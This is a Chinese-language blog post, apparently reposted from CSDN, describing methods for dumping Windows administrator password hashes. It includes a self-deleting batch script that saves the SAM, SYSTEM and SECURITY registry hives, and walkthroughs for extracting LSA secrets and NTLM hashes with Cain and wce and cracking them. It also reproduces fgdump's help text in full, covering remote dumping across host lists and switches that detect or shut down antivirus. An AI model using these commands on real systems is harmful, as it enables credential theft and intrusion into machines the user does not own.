抓取管理員hash值（哈希）的另類(lèi)方法
發(fā)布日期：2021-12-12 20:09 | 文章來(lái)源：CSDN
今天抓hash的時(shí)候發(fā)現(xiàn)GetHashes.exe不好使..另外又測(cè)試了幾個(gè)也都不好用...
不同版本的Windows的hash獲取方法不一樣.
不同版本的Windows的hash獲取方法不一樣.
用到的工具有pwdump7.exe、GetHashes.exe、SAMInside.exe、LC5、Cain、Proactive Password Auditor、Ophcrack.
于是百度了一些資料穿上來(lái)！希望大家能學(xué)習(xí)一下。
====================================第1種===========================================
使用工具 cain、cmd、wce1.2等
首先使用通用方法抓取HASH
使用命令先保存一份需要的信息。
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
（這三個(gè)文件我找了個(gè)批處理,這樣比較方便）
==========================
@echo off
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
del %0
===========================
保存為批處理文件,直接在服務(wù)器上運(yùn)行。
就會(huì)在批處理所在目錄生成這三個(gè)文件
和下面的效果一樣，只不過(guò)簡(jiǎn)化了步驟
然后我們使用CAIN打開(kāi)保存到的system.hive 和security.hive兩個(gè)文件。我是在虛擬機(jī)里面操作就直接在虛擬機(jī)里面搞了。。大家在服務(wù)器上搞可以下載到本地。
打開(kāi)CAIN選擇LSA Secrets然后打開(kāi)system.hive 和security.hive兩個(gè)文件
加載后我們可以看到一些信息，這些信息可能會(huì)有明文密碼，我這里是沒(méi)有的。
如果沒(méi)有我們就需要抓HASH了。點(diǎn)擊CAIN的Cracker選項(xiàng)卡，加載sam.hive文件。
拿到HASH了，www.jb51.net 下面就是破解，用工具自帶的破解試試密碼出來(lái)了，我設(shè)置的123456
我們也可以使用彩虹表來(lái)破解
下面我們使用wce來(lái)搞。。這個(gè)工具是滲透利器哈~~具體介紹大家自己百度去。
從幫助來(lái)看我們可以使用-l參數(shù)查看NTML hash
我們還可以用-s參數(shù)來(lái)改HASH值如圖
從圖中我們可以看到最后一位的HASH我從4修改到了5
====================================第2種===========================================
fgdump 可以遠(yuǎn)程抓Hash的工具
作者：TheLostMind
一直都是本地抓，今天上SamInside論壇看到一個(gè)開(kāi)源的工具，fgdump，可以遠(yuǎn)程抓。
http://swamp.foofus.net/fizzgig/fgdump/fgdump-usage.htm
fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright(C) 2008 fizzgig and foofus.net
fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
more information.
Usage:
fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-a][-O 32|64][-l logfile][-T threads] [{{-h Host | -f filename} -u Username -p Password | -H filename}]
where Username and Password have administrator credentials
-? displays help (you're looking at it!)
-t will test for the presence of antivirus without actually running the password dumps
-c skips the cache dump
-w skips the password dump
-s performs the protected storage dump
-r forgets about existing pwdump/cachedump files. The default behavior is to skip a host if these files already exist.
-v makes output more verbose. Use twice for greater effect
-k keeps the pwdump/cachedump going even if antivirus is in an unknown state
-l logs all output to logfile
-T runs fgdump with the specified number of parallel threads
-h is the name of the single host to perform the dumps against
-f reads hosts from a line-separated file
-H reads host:username:password from a line-separated file (per-host credentials)
-o skips pwdump history dumps
-a will not attempt to detect or shut down antivirus, even if it is present
-O manually sets whether the target is a 32- or 64-bit OS. Note that this applies to all hosts specified.
** As of version 1.4.0, you can run fgdump with no parameters to dump the local box (no impersonation or binding)
測(cè)試了一下，很不錯(cuò)，簡(jiǎn)單翻譯了一下幫助。
用法:
fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-a][-O 32|64][-l logfile][-T threads] [{{-h Host | -f filename} -u
Username -p Password | -H filename}]
用戶(hù)名和密碼要求要有管理員資格
-? 顯示幫助
-t 測(cè)試當(dāng)前的殺毒軟件，并不是真正的轉(zhuǎn)儲(chǔ)密碼
-c 跳過(guò)緩存轉(zhuǎn)儲(chǔ)
-w 跳過(guò)密碼轉(zhuǎn)儲(chǔ)
-s 執(zhí)行保護(hù)存貯轉(zhuǎn)儲(chǔ)
-r 忽略現(xiàn)存的pwdump/cachedump文件。默認(rèn)的行為是跳過(guò)存在這些文件的主機(jī)。
-v 詳細(xì)輸出. 使用兩次能獲得更為詳細(xì)的輸出
-k 即使不知道殺毒軟件的狀態(tài)也繼續(xù)執(zhí)行pwdump/cachedump（進(jìn)行密碼轉(zhuǎn)儲(chǔ)）
-l 記錄所有輸出到日志文件
-T 使用指定數(shù)量的線程執(zhí)行此程序
-h 需要執(zhí)行密碼轉(zhuǎn)儲(chǔ)的單個(gè)目標(biāo)主機(jī)
-f 從用行分隔的文件中讀取主機(jī)列表
-H 從用行分隔的文件中讀取 主機(jī)名:用戶(hù)名:密碼
-o 跳過(guò)轉(zhuǎn)儲(chǔ)歷史密碼
-a 試圖檢測(cè)或關(guān)閉殺毒軟件，即使殺毒軟件正在運(yùn)行
-O 手工設(shè)置遠(yuǎn)程主機(jī)是32位操作系統(tǒng)還是64位操作系統(tǒng)。 注意：這項(xiàng)操作應(yīng)用到所有指定的主機(jī)。
** 使用1.4.0,你可以直接運(yùn)行此程序，不需要帶參數(shù)，來(lái)轉(zhuǎn)儲(chǔ)本機(jī)密碼
版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信